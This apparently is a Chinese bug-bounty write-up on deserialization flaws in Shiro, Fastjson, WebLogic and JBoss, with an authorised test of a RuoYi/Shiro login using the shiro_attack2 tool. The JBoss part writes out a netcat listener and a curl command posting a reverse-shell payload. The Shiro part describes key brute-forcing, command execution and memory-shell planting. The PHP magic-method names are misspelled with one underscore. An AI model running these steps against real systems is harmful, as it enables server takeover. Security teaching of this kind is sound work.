【SRC挖掘实录】反序列化漏洞篇

反序列化漏洞篇

---

提示：所有渗透测试均是在授权情况下进行，漏洞已修复，且已经对敏感信息进行了脱敏处理，本文内容仅供参考学习，切勿模仿。

---

前言

在身份验证，文件读写，数据传输等功能处，在未对反序列化接口做访问控制，未对序列化数据做加密和签名，加密密钥使用硬编码（如Shiro 1.2.4），使用不安全的反序列化框架库（如Fastjson 1.2.24）或函数的情况下，由于序列化数据可被用户控制，攻击者可以精心构造恶意的序列化数据（执行特定代码或命令的数据）传递给应用程序，在应用程序反序列化对象时执行攻击者构造的恶意代码，达到攻击者的目的。

---

一、反序列化漏洞原理

首先我们需要了解一下序列化和反序列化的含义：
序列化是指Java对象转化为二进制内容，转换的原因就是为了便于网络传输和本地存储。
反序列化的含义是将相应的二进制转换为Java对象。
漏洞成因：当输入的反序列化的数据可以被用户控制，那么攻击者就可通过构造恶意输入，让反序列产生非预期对象，同时执行构造的恶意代码

常用函数：（php反序列化）围绕：serialize()和unserialize()这两个函数展开
常用的魔术函数：

 1、_construct()    #当一个对象创建时被调用
 2、_destruct()     #当一个对象被销毁时被调用
 3、_tostring()     #输出的时候自动调用
 4、_sleep()        #在对象在被序列化之前运行
 5、_wakeup      #将在序列化之后立即被调用

二、常见反序列化漏洞

1.shiro（550/721）反序列化漏洞

指纹信息：
请求包中，在Cookie信息中给 rememberMe变量赋任意值，收到返回包的 Set-Cookie 值存在 rememberMe=deleteMe 字段，说明目标使用了Shiro框架。
漏洞原理：
Shiro-550
Apache Shiro框架提供了RememberMe的功能，用户登录成功后会生成经过加密并编码的cookie，在服务端接收cookie后，Base64解码->AES解密->反序列化。
攻击者只要找到AES加密的密钥，就可以构造恶意对象，对其进行序列化->AES加密->Base64编码，然后将其作为cookie的rememberMe字段发送，对方服务器将rememberMe进行解密并且反序列化，最终造成恶意对象执行，导致反序列化漏洞。
Shiro-721
在Apache Shiro框架的cookie中，带有加密的rememberMe字段存在问题，会受到Padding Oracle攻击。攻击者无需知道RememberMe的加密秘钥，直接使用RememberMe的cookie作为Padding Oracle Attack的前缀，然后把精心制作的恶意语句写入RememberMe字段，从而执行反序列化攻击。
550和721的区别：550需要AES加密的密钥，721不需要；721是通过Padding Oracle生成加密的攻击代码，而550是通过AES加密生成的攻击代码

2.Fastjson反序列化

指纹信息：
1、抓包，看请求包中传入的参数值是否形如json格式，如{“张三”:100,“李四”:200}。随后将json数据随意修改，看响应包中是否出现fastjson.JSONException字样。
2、正常请求是get请求没有请求体。可以通过构造错误的POST请求，看返回包中是否有fastjson这个字符串。
漏洞原理：
只要我们传入一个json类型数据包含@type，程序在调用JSON.parseObject这个方法处理json对象时，程序就会反序列化生成一个对象。因此，了解了Fastjson处理json的机制，攻击者只需要将@type值设为TemplatesImpl，构造一个恶意类，而这个类还有一个字段是_bytecodes，程序根据_bytecodes生成了一个java实例。问题就在于java实例生成的同时，会自动调用构造函数。那么攻击者只要把恶意代码赋值给_bytecodes字段，恶意代码就会执行。

3.weblogic反序列化

漏洞原理：
主要源于在coherence.jar存在着用于gadget构造的类（反序列化构造类），并且利用weblogic默认开启的T3协议进行传输和解析，进而导致weblogic服务器将恶意代码反序列化，最后执行攻击语句。
T3 是用于在 WebLogic 服务器和其他类型的Java程序之间传输信息的协议。服务端可以持续追踪监控客户端是否存活(心跳机制)，通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。

4.Jboss反序列化（CVE-2017-12149）

原理：
存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了攻击者可以在服务器上执行任意代码。
漏洞验证：
访问/invoker/readonly，返回500，说明此页面存在反序列化漏洞
利用过程：

开两个终端，一个进行监听（nc -lvnp 12345），另一个发payload
curl http://192.168.50.169:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser（@不能省略）
最后，成功反弹shell

三，SRC挖掘实录（shiro反序列化）

1.进入登录界面

发现有记住我这个功能点，怀疑使用了shiro框架，查看网页源代码继续收集信息，发现是使用若依框架搭建的，又抓包发现Set-Cookie 值存在 rememberMe=deleteMe 字段，最终确认使用了shiro框架。

2.进行反序列化漏洞测试

查询若依历史漏洞得知，RuoYi<v4.2版本存在Shiro反序列化漏洞

这里使用shiro_attack2这款工具进行检查
下载链接：link
（1）先将登录url填入目标地址中，勾选AES GCM选项，点击检查当前密钥，确定是否存在shiro框架

（2）点击爆破密钥，爆破出aes密钥

（3）点击爆破利用链及回显

（4）在命令执行处输入whoami进行检验，如有回显，代表当前密钥和利用链正确

还可以利用这个工具写入内存马，从而getshell,但一般不进行进一步测试，证明存在漏洞即可
（5）防御/修复
升级版本，或者更换aes密钥即可

四、总结

以上就是今天要讲的内容，本文仅简单介绍了一个shiro反序列化漏洞的挖掘方式，其他的反序列化漏洞笔者资历尚浅，也没有实际挖掘过，因此只能介绍其基本原理供读者了解。